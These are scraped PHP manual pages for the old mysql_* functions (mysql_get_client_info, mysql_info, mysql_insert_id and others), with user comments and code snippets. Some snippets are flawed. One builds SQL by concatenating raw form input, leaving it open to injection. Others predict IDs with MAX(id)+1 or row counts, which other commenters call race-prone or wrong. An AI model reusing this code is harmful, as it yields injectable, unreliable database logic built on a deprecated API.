If you're seeing warnings like "Warning: Unknown: 6 result set(s) not freed. Use mysql_free_result to free result sets which were requested using mysql_query() in Unknown on line 0" and want to turn them off, set mysql.trace_mode = Off in your php.ini
Nairebis 25-Feb-2006 06:00
ALWAYS use this function! I just encountered a bug in my code where I forgot to use this function. I also happen to be using mysql_pconnect() for a persistent connection. If you forget to free the result, it can hold the old result set open indefinitely within the HTTP process.

The upshot (in my application) was that I did updates that happened in a different HTTP process, but they mysteriously didn't show up in another HTTP process. After panicking that MySQL had mysterious data corruption and/or synchronization problems, I traced it back to this where an old result set was held open.
mdeininger at jyujin dot de 20-Sep-2005 04:45
yes, i encountered that too. as far as i could tell, that's because the script is stored in memory after being compiled and that's as much more memory as it needs for a call to that function.

if you always get lotsa data in your results, using this function will decrease memory usage tho, unless you use non-buffered queries (which are preferable unless you absolutely *have* to use mysql_seek(), or you need to do another query while the last one hasn't finished reporting back, as they can provide a small speedup)
macronesia at macronesia dot net 02-Jul-2005 12:11
You not need to use this if you are using PHP 4.

The comment below this comment may explain why it's actually costing more memory.
Joachim Kruyswijk 14-Jun-2005 02:42
Using this function may actually increase the amount of memory used. In my case, the script used 208 bytes less memory when *not* using mysql_free_result().
Check for yourself: call memory_get_usage() at the end of the script.
mysql_field_type
mysql_get_client_info
MySQL Functions


Get MySQL client info

mysql_free_result
mysql_get_host_info
MySQL Functions
PHP Manual

mysql_get_client_info

(PHP 4 >= 4.0.5, PHP 5)

mysql_get_client_info — Get MySQL client info

Description

string mysql_get_client_info ( void )

mysql_get_client_info() returns a string that represents the client library version.

Return Values

The MySQL client version.

Examples

Example #1 mysql_get_client_info() example

<?php
printf("MySQL client info: %s\n", mysql_get_client_info());
?>

The above example will output something similar to:

MySQL client info: 3.23.39

See Also

  • mysql_get_host_info() - Get MySQL host info
  • mysql_get_proto_info() - Get MySQL protocol info
  • mysql_get_server_info() - Get MySQL server info

User Contributed Notes

There are no user contributed notes for this page.
mysql_free_result
mysql_get_host_info
MySQL Functions


Get MySQL host info

mysql_get_client_info
mysql_get_proto_info
MySQL Functions
PHP Manual

mysql_get_host_info

(PHP 4 >= 4.0.5, PHP 5)

mysql_get_host_info — Get MySQL host info

Description

string mysql_get_host_info ([ resource $link_identifier ] )

Describes the type of connection in use for the connection, including the server host name.

Parameters

link_identifier

The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() was called with no arguments. If no connection is found or established, an E_WARNING level error is generated.

Return Values

Returns a string describing the type of MySQL connection in use for the connection or FALSE on failure.

Examples

Example #1 mysql_get_host_info() example

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
    die('Could not connect: ' . mysql_error());
}
printf("MySQL host info: %s\n", mysql_get_host_info());
?>

The above example will output something similar to:

MySQL host info: Localhost via UNIX socket

See Also

  • mysql_get_client_info() - Get MySQL client info
  • mysql_get_proto_info() - Get MySQL protocol info
  • mysql_get_server_info() - Get MySQL server info

User Contributed Notes

There are no user contributed notes for this page.
mysql_get_client_info
mysql_get_proto_info
MySQL Functions


Get MySQL protocol info

mysql_get_host_info
mysql_get_server_info
MySQL Functions
PHP Manual

mysql_get_proto_info

(PHP 4 >= 4.0.5, PHP 5)

mysql_get_proto_info — Get MySQL protocol info

Description

int mysql_get_proto_info ([ resource $link_identifier ] )

Retrieves the MySQL protocol.

Parameters

link_identifier

The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() was called with no arguments. If no connection is found or established, an E_WARNING level error is generated.

Return Values

Returns the MySQL protocol on success or FALSE on failure.

Examples

Example #1 mysql_get_proto_info() example

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
    die('Could not connect: ' . mysql_error());
}
printf("MySQL protocol version: %s\n", mysql_get_proto_info());
?>

The above example will output something similar to:

MySQL protocol version: 10

See Also

  • mysql_get_client_info() - Get MySQL client info
  • mysql_get_host_info() - Get MySQL host info
  • mysql_get_server_info() - Get MySQL server info

User Contributed Notes

There are no user contributed notes for this page.
mysql_get_host_info
mysql_get_server_info
MySQL Functions


Get MySQL server info

mysql_get_proto_info
mysql_info
MySQL Functions
PHP Manual

mysql_get_server_info

(PHP 4 >= 4.0.5, PHP 5)

mysql_get_server_info — Get MySQL server info

Description

string mysql_get_server_info ([ resource $link_identifier ] )

Retrieves the MySQL server version.

Parameters

link_identifier

The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() was called with no arguments. If no connection is found or established, an E_WARNING level error is generated.

Return Values

Returns the MySQL server version on success or FALSE on failure.

Examples

Example #1 mysql_get_server_info() example

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
    die('Could not connect: ' . mysql_error());
}
printf("MySQL server version: %s\n", mysql_get_server_info());
?>

The above example will output something similar to:

MySQL server version: 4.0.1-alpha

See Also

  • mysql_get_client_info() - Get MySQL client info
  • mysql_get_host_info() - Get MySQL host info
  • mysql_get_proto_info() - Get MySQL protocol info
  • phpversion() - Gets the current PHP version

User Contributed Notes

cmscoder at seasamecreek dot info 16-May-2008 04:55
Here is something I put together because I needed a way to pull the MySQL version number from the server without actually having a connection.  This was due to being part of a server info screen prior to installation of a cms.  Users need to know if their MySQL is supported or not prior to installation right? :)

This will scrape the phpinfo page looking for the MySQL row that says Client API version and return the version number after it.  This could also be used to scrape just about anything from the phpinfo page. :)

ob_start();
phpinfo(INFO_MODULES);
$info = ob_get_contents();
ob_end_clean();
$info = stristr($info, 'Client API version');
preg_match('/[1-9].[0-9].[1-9][0-9]/', $info, $match);
$gd = $match[0];
echo 'MySQL:  '.$gd.' <br />';

This will output:
MySQL: 4.1.22 (which is the version on my server)

I know this is crude but it's the only thing I could come up with and there isn't anything like this info available online so here it is.  I suck at preg_match and it would be helpful if someone could modify the string here to stand the test of time.
Kalle Sommer Nielsen 29-May-2007 04:54
An alternative to mysql_get_client_info() is to use the VERSION() function in MySQL language like:

<?php
$query = mysql_query("SELECT VERSION() as mysql_version");
?>

The output is the same as mysql_get_client_info()
cNOooSPAMlmax1 at o2 dot pl 08-Jul-2006 04:27
That's better:

<?php
mysql_connect('localhost', 'user', 'password') or
   die('Could not connect: ' . mysql_error());
$a = mysql_get_server_info();
$b = substr($a, 0, strpos($a, "-"));
echo $b;
?>
mysql_get_proto_info
mysql_info
MySQL Functions


Get information about the most recent query

mysql_get_server_info
mysql_insert_id
MySQL Functions
PHP Manual

mysql_info

(PHP 4 >= 4.3.0, PHP 5)

mysql_info — Get information about the most recent query

Description

string mysql_info ([ resource $link_identifier ] )

Returns detailed information about the last query.

Parameters

link_identifier

The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() was called with no arguments. If no connection is found or established, an E_WARNING level error is generated.

Return Values

Returns information about the statement on success, or FALSE on failure. See the example below for which statements provide information, and what the returned value may look like. Statements that are not listed will return FALSE.

Examples

Example #1 Relevant MySQL Statements

Statements that return string values. The numbers are only for illustrating purpose; their values will correspond to the query.

INSERT INTO ... SELECT ...
String format: Records: 23 Duplicates: 0 Warnings: 0
INSERT INTO ... VALUES (...),(...),(...)...
String format: Records: 37 Duplicates: 0 Warnings: 0
LOAD DATA INFILE ...
String format: Records: 42 Deleted: 0 Skipped: 0 Warnings: 0
ALTER TABLE
String format: Records: 60 Duplicates: 0 Warnings: 0
UPDATE
String format: Rows matched: 65 Changed: 65 Warnings: 0

Notes

Note:

mysql_info() returns a non-FALSE value for the INSERT ... VALUES statement only if multiple value lists are specified in the statement.

See Also

  • mysql_affected_rows() - Get number of affected rows in previous MySQL operation
  • mysql_insert_id() - Get the ID generated in the last query
  • mysql_stat() - Get current system status

User Contributed Notes

tomas at matfyz dot cz 06-Dec-2008 03:57
Please note that the information on warning count cannot be taken from the mysql_info() due to mysql bugs #41283 and #41285:

http://bugs.mysql.com/?id=41283
http://bugs.mysql.com/?id=41285
bdobrica at gmail dot com 24-Apr-2006 12:18
As a solution to the problem pointed in the post reffering to mysql_affected_rows() returning 0 when you are making an update query and the fields are not modified although the query is valid, i'm posting the following function. It is very simple and based on a previous post.

function mysql_modified_rows () {
        $info_str = mysql_info();
        $a_rows = mysql_affected_rows();
        ereg("Rows matched: ([0-9]*)", $info_str, $r_matched);
        return ($a_rows < 1)?($r_matched[1]?$r_matched[1]:0):$a_rows;
        }

Hope you'll find it usefull.
info at granville dot nl 09-Nov-2005 03:25
Imade a quick conversion of eric's function just to count matched or affected rows from a query.

/**GD gdf_db_count_query_v1: returns the amount of rows matched or affected by the last query. Must be used immediately after the concerned query.
*/

function gdf_db_count_query($link = 'dbh') {

    $info_str = mysql_info($$link);

       if (ereg("Records: ([0-9]*)", $info_str, $count) == false) {
        ereg("Rows matched: ([0-9]*)", $info_str, $count);
    }

    return $count;

}
eric at projectsatellite dot com 22-Sep-2003 02:54
I agree that this is a useful function to use when trying to check on whether an update query matched a particular row. I created a simple function that returns an associative array with the values delineated in the returned string.

function get_mysql_info($linkid = null){
    $linkid? $strInfo = mysql_info($linkid) : $strInfo = mysql_info();

    $return = array();
    ereg("Records: ([0-9]*)", $strInfo, $records);
    ereg("Duplicates: ([0-9]*)", $strInfo, $dupes);
    ereg("Warnings: ([0-9]*)", $strInfo, $warnings);
    ereg("Deleted: ([0-9]*)", $strInfo, $deleted);
    ereg("Skipped: ([0-9]*)", $strInfo, $skipped);
    ereg("Rows matched: ([0-9]*)", $strInfo, $rows_matched);
    ereg("Changed: ([0-9]*)", $strInfo, $changed);

    $return['records'] = $records[1];
    $return['duplicates'] = $dupes[1];
    $return['warnings'] = $warnings[1];
    $return['deleted'] = $deleted[1];
    $return['skipped'] = $skipped[1];
    $return['rows_matched'] = $rows_matched[1];
    $return['changed'] = $changed[1];

    return $return;
}

After trying to update a row that may or may not exist, you can use the above function like so:

$vals = get_mysql_info($linkid);
if($vals['rows_matched'] == 0){
     mysql_query("INSERT INTO table values('val1','val2', 'valetc')", $linkid);
}
carl at NOSPAMthep dot lu dot se 06-Sep-2002 04:44
This function can be used as a workaround for a misfeature of MySQL: on an UPDATE, rows that aren't updated _solely because they looked the same before_ will not be seen in mysql_affected_rows(). This causes problems when you want to use the result of the update to determine if there's need to do an INSERT. With MySQL you can do an INSERT IGNORE if there's no risk of if failing because of a duplicate key other than the one used in the UPDATE. However, if this isn't the case or you want a bit of RDBMS independence, there's no easy/pretty workaround. I think I'll resort to doing a SELECT to determine the primary key before doing the update/insert, as using the CVS version of PHP isn't an option for me.
mysql_get_server_info
mysql_insert_id
MySQL Functions


Get the ID generated in the last query

mysql_info
mysql_list_dbs
MySQL Functions
PHP Manual

mysql_insert_id

(PHP 4, PHP 5)

mysql_insert_id — Get the ID generated in the last query

Description

int mysql_insert_id ([ resource $link_identifier ] )

Retrieves the ID generated for an AUTO_INCREMENT column by the previous query (usually INSERT).

Parameters

link_identifier

The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() was called with no arguments. If no connection is found or established, an E_WARNING level error is generated.

Return Values

The ID generated for an AUTO_INCREMENT column by the previous query on success, 0 if the previous query does not generate an AUTO_INCREMENT value, or FALSE if no MySQL connection was established.

Examples

Example #1 mysql_insert_id() example

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
    die('Could not connect: ' . mysql_error());
}
mysql_select_db('mydb');

mysql_query("INSERT INTO mytable (product) values ('kossu')");
printf("Last inserted record has id %d\n", mysql_insert_id());
?>

Notes

Caution

mysql_insert_id() will convert the return type of the native MySQL C API function mysql_insert_id() to a type of long (named int in PHP). If your AUTO_INCREMENT column has a column type of BIGINT (64 bits) the conversion may result in an incorrect value. Instead, use the internal MySQL SQL function LAST_INSERT_ID() in an SQL query. For more information about PHP's maximum integer values, please see the integer documentation.

Note:

Because mysql_insert_id() acts on the last performed query, be sure to call mysql_insert_id() immediately after the query that generates the value.

Note:

The value of the MySQL SQL function LAST_INSERT_ID() always contains the most recently generated AUTO_INCREMENT value, and is not reset between queries.

See Also

  • mysql_query() - Send a MySQL query
  • mysql_info() - Get information about the most recent query

User Contributed Notes

jayon 07-Apr-2010 06:01
if trying to insert a generated random id use mysql's UUID() to generate a unique key for you, there should be a lot less problems with it.

<?php
$query = sprintf( "INSERT INTO `users`"
    ."(`id`    ,`username`)"
    ."VALUES"
    ."(UUID(),'%s'           )",
    mysql_real_escape_string($user)
  );

if( !mysql_query($query) )
{/*insert failed*/}

$id = mysql_insert_id();
?>
dave 10-Jan-2010 10:19
There is a lot of incorrect info here on "don't use AI" and "using max is equivalent".  Then you have people improperly advising you to use psuedo-random numbers

If you're really worried about the AI field not returning because of the inherent race conditions, just do a select statement based on the vars you just input.  If your vars are not unique, DON'T use these psuedo-random numbers.  When you have enough iterations, the probability that the one of these randoms becomes a duplicate gets pretty high.

Instead, just use the unix timestamp.  However, don't use UNIX_TIMESTAMP() in your query, because if you do, when you run your select statement right after, there's a possibility that you'll end up with a different timestamp.

Since date() continues to count up during the execution of the script, simply store date(U) into a variable or definition.  Then insert and select based on that.  Assuming you're not using mysql procedures:

<?php
define(UNIX_TIMESTAMP, date('U'));
$db->query("insert into table values('', 'a', 'b', 'c', 'd', '".UNIX_TIMESTAMP."'");
$res = $db->query("select id from table where a_col = 'a' and b_col = 'b' and c_col = 'c' and d_col = 'd' and temp_id = 'UNIX_TIMESTAMP'");
...
?>
mmurphy at cpmsnational dot com 09-Nov-2009 11:18
If mysql_insert_id() returns 0 or null, check that you have also included the link identifier. It is optional but if you have more than one database connection then this is necessary.

ex: mysql_insert_id($conn)
bargainbatman at gmail dot com 25-Sep-2009 06:16
I thought this would be relevant to all the people using mysqli and looking for the ID after INSERT command :

<?php
function insert_join($catid, $disc_id) {
// insert a new item into the database
   $conn = db_connect();
   // insert new item
   $demande = "insert into categories_disc values ('', '".$catid."', '".$disc_id."')";
   $resultat = $conn->query($demande);
   if (!$resultat) {
     return false;
   } else {
    return $conn->insert_id; // function will now return the ID instead of true.
}

}
?>

Then, on the other side, let us call this function as follows :

<?php
$cat_id = insert_join($catid, $disc_id);
if($cat_id !== false) {

        echo "<p>Category stuff was added to the database as follows : <br>";
        echo "<hr>ID de la category : ".$cat_id."</p><hr>";

        }
?>
RPaseur at NationalPres dot org 18-Sep-2009 11:48
Apparently the value returned by mysql_insert_id() may be correct for BIGINT auto_increment keys below the value of INT, but it may wrap to negative when the BIGINT auto_increment passes the largest signed value of INT.  A timebomb for very large tables...

PHP 5.2.10, MySQL 5.0.81, assume the connection and selection...

<?php
// CREATE A TABLE AND ALTER IT TO A HIGH INDEX NUMBER
$sql = "CREATE TEMPORARY TABLE noise ( id BIGINT NOT NULL AUTO_INCREMENT PRIMARY KEY ) ENGINE=MEMORY";
if (!$res = mysql_query($sql)) die(mysql_error());

$sql = "ALTER TABLE noise AUTO_INCREMENT = 2147483646";
if (!$res = mysql_query($sql)) die(mysql_error());

// INSERT DATA TO ADD TO THE AUTO_INCREMENT INDEX
$kount = 0;
while ($kount < 3)
{
   $sql = "INSERT INTO noise () VALUES ()";
   if (!$res = mysql_query($sql)) die(mysql_error());
   $nid = mysql_insert_id($dbcx);
   var_dump($nid);
   $kount++;
}

// PRODUCES THIS
// int(2147483646)
// int(2147483647)
// int(-2147483648)
?>
Ultimater at gmail dot com 18-May-2009 05:53
Here's an elegant way to INSERT using UPDATE syntax.

<?php
function insert_update($table,$fields,$id=NULL)
{
    if($id===NULL)
    {
        $sql="INSERT INTO $table (id) VALUES(NULL);UPDATE $table SET $fields WHERE id = LAST_INSERT_ID()";
    }else{
        $sql="UPDATE $table SET $fields WHERE id = $id";
    }
    return $sql;
}
?>

Usage:

<?php
$table="`members`";
$fields="`username` = 'Ultimater',`userlevel` = 'member'";
if(!$profile_exists)
{
//insert a record
    $sql=insert_update($table,$fields);
    mysql_query($sql);
}else{
//update a record
    $sql=insert_update($table,$fields,5);
    mysql_query($sql);
}
?>
Anonymous 22-Jul-2008 02:25
If i can't get a good increment.
I use this function

<?php
function get_new_id($table){
 $select = 'select max(`id`) +1as `id` from `'.$table.'`  where `id` != <some big id>';
 $query = mysql_query($select);
 $obj = mysql_fetch_object($query);
 return $obj->id;
}
?>
neep03 at zonnet dot nl 10-Jul-2008 01:52
I solved the problem by inserting a "unique" code, like md5 or session_id.
First you insert the date in de database and in the next step you look for de used id.
Just a part of the php script.

<?php
$code   = md5(uniqid());  // a random 32 digits code is generated
$name   = $POST_[name];
$email  = $POST_[email];

// first step
$mysql_id = mysql_connect("$dbhost","$dbuser","$dbpass");
$sql = "INSERT into database (code,name,email) VALUES('$code','$name','$email')";
$res = mysql_db_query("$db","$sql",$mysql_id);

     include("error.php");

//second step
$mysql_id = mysql_connect("$dbhost","$dbuser","$dbpass");
$sql = "select * from database where code='$code' ";  // select the record with the above generated md5 code
$res = mysql_db_query("$db","$sql",$mysql_id);

     include("error.php");

$row = mysql_fetch_row($res);

$id = $row[0]; // this is de used id genereted by auto_increment for this input
?>
thomas at tgohome dot com 06-Jul-2008 01:47
Be careful, because this operates on the last performed query, it includes UPDATEs and SELECTs as 'queries'. For example, this is what I set up.

INSERT post into database
UPDATE child forums with insert ID (insert ID is correct)
Insert ID = 0 because of last query
Send the user to their post - but fail because the insert ID is zero.

So store it in a variable like $insert_id instead of querying it every time.
icethenet at NOSPAM dot hotmail dot com 19-Jun-2008 01:13
Other methods seem to have problems with missing records in auto increment sometimes you will have records 1 2 5 6 most functions would return the value of 5 for next auto increment when indeed it would be 7. This is the only way I found to make this work so I can use my customer number and the record number to provide a truly unique customer number that is also useful.

$next_increment = 0;
$qShowStatus = "SHOW TABLE STATUS LIKE 'your_table'";
$qShowStatusResult = mysql_query($qShowStatus) or die(mysql_error());
$row = mysql_fetch_assoc($qShowStatusResult);
$next_increment = $row['Auto_increment'];
echo $next_increment;

then you can do something like this
echo  $next_increment ."-". rand();

My first post: I hope this is useful to someone
erik.something@GMAIL DOT COM 15-Jun-2008 06:21
I have come up with an unorthodox solution for this problem. Im sure its not the fastest but its surely the safest.

In sql I have made a column to be "unique" and instead of fetching the last Id generated by auto_increment I make a random number and I store that number in the before created column. Example:

id ____ rand_nr ____ name
1  ____ 345432 ____ Richard
2  ____ 598675 ____ Joe
3  ____ 926374 ____ Patrick

This way I know exactly what number coresponds to the row inserted.
dane514 AT gmail DOT COM 30-May-2008 09:05
I may have solved the problems that a number of you have brought to everyone's attention. Here is a simple function that will always return the correct ID of the afffecting row (i.e., the row that will soon be inserted into)--no matter how many consecutive users are online and updating/inserting into the same table that you are also inserting/updating.

Retrieving the ID of the row soon-to-be-affected was imperative to my current project, and the various COUNT() solutions just did not cut it.

Use this before any insert/update statement to retrieve the ID of the row to be inserted into:

<?php
function get_current_insert_id($table)
{
    $q = "SELECT LAST_INSERT_ID() FROM $table";
    return mysql_num_rows(mysql_query($q)) + 1;
}
?>

It would be great to read any discussions if anyone considers this function problematic.
Anonymous 02-May-2008 03:22
"Why on earth are you all arguing about the best way to get the next auto_increment value? The whole point is that it increments automatically. The name should be a give away."

Because you need the same last id value in another table. So you need a way to identify it, in order to use it in the next query. This way its easier than using a new query to get the id like ORDER BY id DESC LIMIT 1
elinor dot hurst at REMOVETHIS dot gmail dot com 08-Apr-2008 07:27
I don't get all the fuss around this.

I read:
"The value of mysql_insert_id() is affected only by statements issued within the current client connection. It is not affected by statements issued by other clients."

See: http://dev.mysql.com/doc/refman/5.0/es/mysql-insert-id.html

I can't really see what's inaccurate about that.

"In the case of a multiple-row INSERT statement, mysql_insert_id() returns the first automatically generated AUTO_INCREMENT value; if no such value is generated, it returns the last last explicit value inserted into the AUTO_INCREMENT column."

I must be missing something here but why would you insert multiple rows and then only handle the last one with some favoured behaviour? You could just as well insert them one at a time and then handle each row separately with the latest id.

I can't see what's wrong with that.

However I can see what's wrong with simply using max(my_table.id_column) because of the concurrent access issues this would imply.
Alfred Nony Mouse 23-Feb-2008 05:33
There's nothing inherently wrong with using auto-increment fields. There's also nothing wrong with the main competetive idea, which is for the database to supply a primitive sequence of non-repeating identifiers, typically integers. This is rather like which side of the road you drive on.

The bigger problem is when people don't understand what they are doing with database access. It's like driving a car without really knowing the rules of the road. Such people wind up making bad decisions without realizing it, and then, eventually, something breaks.

Databases are complex beasts, and worth taking the time to really understand. Learn about the implications and limitations of different approaches to solving problems. Then, you will be prepared to pick a solution based on what has to work.
Anonymous 20-Feb-2008 08:45
Why on earth are you all arguing about the best way to get the next auto_increment value? The whole point is that it increments automatically. The name should be a give away.

Don't calculate the next id, just leave the field blank and let the database issue the id itself.
venimus at gmail dot com 14-Feb-2008 03:27
To get the most accurate NEXT auto_increment id use this function

<?php
function mysql_next_id($table) {
    $result = mysql_query('SHOW TABLE STATUS LIKE "'.$table.'"');
    $rows = mysql_fetch_assoc($result);
    return $rows['auto_increment'];
}
?>

Any other methods of predicting the next autogenerated id will fail in certain cases.
Most of the programmers try to get the MAX(id)+1 (or sort the table backwards and get the first id) but this will cease to work when you delete the last record.

However in a race condition even this function may fail if other users insert records in the time between calling this function and using the return value. You may use LOCK TABLES to prevent such a case.

Anyway, the best advice I can give you is to RECONSIDER YOUR LOGIC TO AVOID USING AUTO_INCREMENT.
venimus at gmail dot com 14-Feb-2008 07:11
Using 'SELECT MAX(id)+1...' will not return the next auto_increment id. This function is totaly unreliable by two reasons.
1. In race conditions there is no guarantee that other user will not insert new record while your function have done its work. This will render your "generated" last_id obsolete. It is rare case but it happens.
2. Most of all, if the last record(s) in the table is deleted the max id will no longer match the auto_increment value, because auto_increment never repeats numbers, it increases whenever an insert statement is completed and does not decrease if you erase the last record!!!

e.g. If you have this table with the last record deleted:
id name
1. car
2. plane
3. truck - [erased]

auto_increment is 4
but MAX(id) is 2!!!
benfoldsforever 11-Oct-2007 08:04
Just wanted to re-iterate previous comment on receiving NULL or 0 return statement from calling mysql_insert_id() after insert statement.

If you have multiple mysql connections (i.e. mysql_connect() or mysqli_connect()) on the page you will need to specify the the connection you are using when calling this function!

I.e.
mysql_insert_id($MY_CONN);
bonatoque at yahoo.com 20-Sep-2007 01:13
It seems that, in case of a very first INSERT, mysql_insert_id() returns 0. My guess is that MySQL does not trigger auto increment if the table is empty. Once an entry is present, it works as expected.
louis at intoplay dot com 13-Aug-2007 07:53
If mysql_insert_id() returns 0 or null, check your auto increment field is not being set by your sql query, also if you have multiple db connections like I did, the solution is to create a seperate db connection for this query.
foros (_AT_) anthalia.com 31-Jul-2007 02:06
Forget about using MAX to get the last inserted id. Race conditions like other users inserting between your SELECT MAX(.. and your INSERT may render your id unusable.

The WAY to get the id is by using mysql_insert_id() or the mysql SQL function LAST_INSERT_ID().

Take care, if using mysql_insert_id() you should provide the resource returned by the mysql_connect, not the resultset returned by mysql_query.
guelphdad at yahoo dot com 18-Jul-2007 08:35
and the primary reason to use neither of those last two solutions is both could result in race conditions when there is more than a single user with access to the database. when you use MAX or ORDER BY DESC LIMIT 1 you will retrieve the maximum value from the table, at that moment. That doesn't mean another user doesn't do an insertion in the primary and secondary table BEFORE you do your insertion in the secondary table. You have thus inserted a row with a correct id into the second table. Always use last_insert_id()
daiguo 05-Jul-2007 06:43
To: Ben AT alfreido.com

<?php
function previous_id($table, $id_column) {
  if ($table && $id_column) {
    $result = mysql_query("SELECT MAX(".$id_column.") AS maxid FROM ".$table);
    $stuff = mysql_fetch_assoc($result);
    return $stuff['maxid'];
  } else {
    return false;
  }
}
?>

Use MySQL's built-in function MAX(). It's faster because any min/max algorithm is faster than sorting entire table.
Ben AT alfreido.com 13-Jun-2007 08:58
I realise this isn't the best way of doing it, but if use auto_increment in your tables, which just increases by one every time you add a row, you can get the last used id simply by quering the database, selecting the id column and ordering it descendingly and pulling out the first row returned. The added bonus is you can do it anytime, instead of just after an INSERT query.

<?php
function previous_id($table, $id_column) {
  if ($table && $id_column) {
    $result = mysql_query("SELECT " . $id_column " FROM " . $table . "
    ORDER BY " . $id_column . " DESC
    LIMIT 1");
    $stuff = mysql_fetch_assoc($result);
    return $stuff[$id_column];
  } else {
    return false;
  }
}
?>

Just change $table to the table name, and $id_column to the column which auto increments.
Typer85 at gmail dot com 25-Dec-2006 10:44
Please be warned that this function, like almost every other MySQL function, requires that the same database resource link that was used to insert the data into the database be used to get the last auto increment value.

If you close the database connection after inserting data, then open one up again and then attempt to get the last auto increment value, you will get an incorrect value since all resources related to the last insert query were cleaned up after the connection was closed.
Bob M. 16-Nov-2006 10:41
There is a problem with the function below submitted by rudolflai

In that mysql_autoid function, what happens when between the time you've retrieved the id and the time you do something with it (like INSERT a new record) another new record has been inserted into the database in the interim?

Better make sure you LOCK the tables you're working on before you use the function and don't UNLOCK until after you've done something with the id returned.
buana95 att yahoo dott com 29-Oct-2006 01:57
It's not true that mysql_insert_id() only returns the ID generated for an AUTO_INCREMENT column by the previous INSERT query.

We can use LAST_INSERT_ID() statement that will return value for mysql_insert_id().

Example:

$sql = "UPDATE `mytable` SET `mytable_id`= LAST_INSERT_ID(`mytable_id` + 1) WHERE ...;

@mysql_query($sql);
$last_id = mysql_insert_id();

LAST_INSERT_ID() statement will affect mysql_insert_id().

Regards,
Buana
mariano at uvcms dot com 19-Sep-2006 09:01
When used in transactions, mysql_insert_id() MUST be called before committing. Otherwise, it will return unpredictable results.
squezy16 at hotmail dot com 17-Sep-2006 08:46
One of the problem of the LAST_INSERT_ID function is that it may return an old Auto_Increment number if the INSERT did not have the time to run properly while the mysql_insert_id always returns the good value. I tried to insert a row imidiatly followed by a select LAST_INSERT_ID and it kept on returning me the LAST_INSERT_ID before my insert statement.
rudolflai at gmail dot com 11-Sep-2006 02:59
Hi,

Below is a snippet for retriving the next insert id from a mysql table. It functions like the auto_increment option in phpMyAdmin. Hope you find it helpful. =]

<?php

function mysql_autoid($id,$table){
    $query = 'SELECT MAX('.$id.') AS last_id FROM '.$table;
    $result = mysql_query($query);
    $result = mysql_fetch_array($result);
    return $result[last_id]+1;
}

/// usage mysql_autoid('nID','news');

?>

Cheers,
Rudolf
james dot baxter at nospamplease dot com 08-May-2006 05:09
Have had many people coming to me with issues regarding last_insert_id and mysql_insert_id() etc

This is a very simple solution that caters for most. As you can see it gets the last auto inc from the field, in this case, ID.

mysql_query("LOCK TABLES art WRITE");

mysql_query("INSERT INTO table (....) VALUES (....)");

$result = mysql_query("SELECT MAX(ID) AS LAST_ID FROM table");

$result = mysql_fetch_array($result);

mysql_query("UNLOCK TABLES");

echo "Last ID#" . $result[LAST_ID];
john k. 31-Jan-2006 02:55
Be careful when using "insert ignore". If the unique index already exists, the record will not be added, but it WILL give you the id of the next auto_increment value even though it didn't create it.

<?php
$sql = "insert ignore into sometable set num=10";
mysql_query($sql) or die();
echo mysql_affected_rows()."<br>";
echo mysql_insert_id()."<br><br>";

// same record, database is unique on 'num'
$sql = "insert ignore into sometable set num=10";
mysql_query($sql) or die();
echo mysql_affected_rows()."<br>";
echo mysql_insert_id()."<br><br>";
?>

would give:
1
116372

0
116373
heiligkind at yahoo dot de 14-Dec-2005 01:31
If you insert a data row by using the ON DUPLICATE KEY UPDATE clause in an INSERT-statement, the mysql_insert_id() function will return not the same results as if you directly use LAST_INSERT_ID() in MySQL.

See the following example:

<?
   // insert a datarow, primary key is auto_increment
   // value is a unique key
   $query = "INSERT INTO test (value) VALUES ('test')";
   mysql_query( $query );

   echo 'LAST_INSERT_ID: ',
          mysql_query( "SELECT LAST_INSERT_ID()" ),
          '<br>mysql_insert_id: ',
          mysql_insert_id();

?>

This will print:

LAST_INSERT_ID: 1
mysql_insert_id: 1

In this case the function returns the same as the MySQL-Statement.
But see the insert on an existing key:

<?
   $query = "INSERT INTO test (value)
                  VALUES ('test')
                  ON DUPLICATE KEY UPDATE value = 'test2'";
   mysql_query( $query );

   echo 'LAST_INSERT_ID: ',
          mysql_query( "SELECT LAST_INSERT_ID()" ),
          '<br>mysql_insert_id: ',
          mysql_insert_id();

?>

This will print:

LAST_INSERT_ID: 2
mysql_insert_id: 1

By using the ON DUPLICATE KEY UPDATE clause, only the old datarow will be modified, if the INSERT statement causes a duplicate entry, but the LAST_INSERT_ID() function returns the next auto_increment value for the primary key, which is by the way not set as the next auto_increment value in the database.

The mysql_insert_id() function returns the primary key of the old (and changed) data row. For me this is the right operation method, because the LAST_INSERT_ID() function returns a value which is not referenced to a data row at all.

Greets from Munich.

heiligkind
Soroushl at gmail dot com 06-Dec-2005 09:53
As mentioned by frumler at the-beach dot no_spam dot net

the LAST_INSERT_ID works like a charm when inserting values into tables.

I'm not sure why anyone would need mysql_insert_id() when LAST_INSERT_ID is readily available.

example:

Say you have a table called "transaction" and a table called "accounts".  Obviously each account must be created using a transaction, so every time a record is created in the accounts table, a record must be created in the transaction table containing the same account_id(auto_increment) that was just created by mysql.

Here's a simple way to do this:

<?php
$account_query="INSERT INTO accounts (account_id,type) VALUES (NULL,'saving')";
$transaction_query="INSERT INTO transactions(transaction_id,account_id) VALUES (NULL,LAST_INSERT_ID)";

$a_query=mysql_query($account_query);
$t_query=mysql_query($transaction_query);

?>
02-Dec-2005 10:48
Take care of setting an empty value for the AUTO_INCREMENT Field else you never get a value except zero returned from mysq_insert_id() ....

Ciao Ephraim
bholbrook at servillian dot com 01-Sep-2005 01:50
My apologies for the error below (that was modified out of a class) - as you cannot define a constant as an array.

replace the line:

<?

define("ID",...);

?>

with

<?

$mysql_id = mysql_query("...");

?>

$mysql_id is now an array in which the first element $mysql_id[0] holds the last inserted id.

Apologies if anyone struggled over that one... esp. the noobs.
bholbrook at servillian dot com 30-Aug-2005 01:45
